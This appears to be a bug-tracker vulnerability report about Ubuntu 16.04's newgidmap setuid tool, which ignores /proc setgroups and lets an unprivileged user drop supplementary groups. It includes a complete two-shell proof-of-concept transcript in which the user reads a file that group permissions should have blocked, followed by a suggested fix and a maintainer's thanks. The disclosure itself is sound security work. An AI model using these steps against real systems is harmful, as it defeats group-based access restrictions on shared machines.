Distribution: Ubuntu 16.04.3 LTS
Kernel: 4.4.0-97-generic
uidmap package version: 1:4.2-3.1ubuntu5.3
The newgidmap setuid executable allows any user to write a single mapping line to the gid_map of a process whose identity is the same as the calling process, as long as that mapping line maps the process's own GID outside of the user namespace to GID 0 inside the user namespace.
Newgidmap will write the mapping regardless of the content of /proc/$process_being_mapped/setgroups, which will initially contain the string "allow". After this mapping is performed, and also after the process' uid_map is written with newuidmap, the process in the user namespace will be able to use the setgroups system call to drop supplementary groups.
This is possible even if there is no entry for the user in /etc/subgid, because no subordinate GIDs are actually being used.
This allows any user to circumvent the use of supplementary groups as blacklists, e.g. for some file owned by root:blacklist with permission bits 0604 (octal). Normally any process whose identity included the group "blacklist" in its supplementary groups would not be able to read that file. By performing this exploit using newgidmap, they can drop all supplementary groups and read that file.
If newgidmap was not available, unprivileged users would not be able to write a process's gid_map until writing "deny" to /proc/$pid/setgroups. A fix for this might be for newgidmap to check the content of /proc/$process_being_mapped/setgroups is "deny", but we have not tried to patch this ourselves.
An example using 2 login shells for a user named "someone" on Ubuntu Xenial, with the uidmap package installed:
Shell 1
someone@ubuntu-xenial:~$ id
uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)
someone@ubuntu-xenial:~$ ls -al /tmp/should_restrict
-rw----r-- 1 root restricted 8 Nov 1 12:23 /tmp/should_restrict
someone@ubuntu-xenial:~$ cat /tmp/should_restrict
cat: /tmp/should_restrict: Permission denied
someone@ubuntu-xenial:~$ unshare -U --setgroups allow # /proc/self/setgroups already contains 'allow', but let's be explicit
nobody@ubuntu-xenial:~$ echo $$
1878
Shell 2
someone@ubuntu-xenial:~$ cat /etc/subuid
lxd:100000:65536
root:100000:65536
ubuntu:165536:65536
someone@ubuntu-xenial:~$ cat /etc/subgid
lxd:100000:65536
root:100000:65536
ubuntu:165536:65536
# There are no entries in /etc/sub{u,g}id for someone, but this doesn't matter that much as subordinate IDs are not being requested.
someone@ubuntu-xenial:~$ newuidmap 1878 0 1001 1
someone@ubuntu-xenial:~$ newgidmap 1878 0 1001 1
Back to shell 1
nobody@ubuntu-xenial:~$ id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
# The presence of the "nogroup" supplementary group indicates that some unmapped GIDs are present as supplementary GIDs. The kernel knows that this process still has "restricted" in its supplementary groups, so it can't read the restricted file yet.
nobody@ubuntu-xenial:~$ cat /tmp/should_restrict
cat: /tmp/should_restrict: Permission denied
# The process has gained CAP_SETGID in its user namespace by becoming UID 0. /proc/$pid/setgroups contains "allow", so it can call setgroups(2). By su-ing to root (itself, in the user namespace), it can drop the supplementary groups. It can't read /root/.bashrc as that file is owned by UID 0 in the initial user namespace, which creates some distracting error output but doesn't matter in this case.
nobody@ubuntu-xenial:~$ su root
su: Authentication failure
(Ignored)
bash: /root/.bashrc: Permission denied
# Supplementary groups have been dropped
root@ubuntu-xenial:~# id
uid=0(root) gid=0(root) groups=0(root)
# It can read the restricted file
root@ubuntu-xenial:~# cat /tmp/should_restrict
content
Hi Craig, interesting finding, thanks for reporting it to us.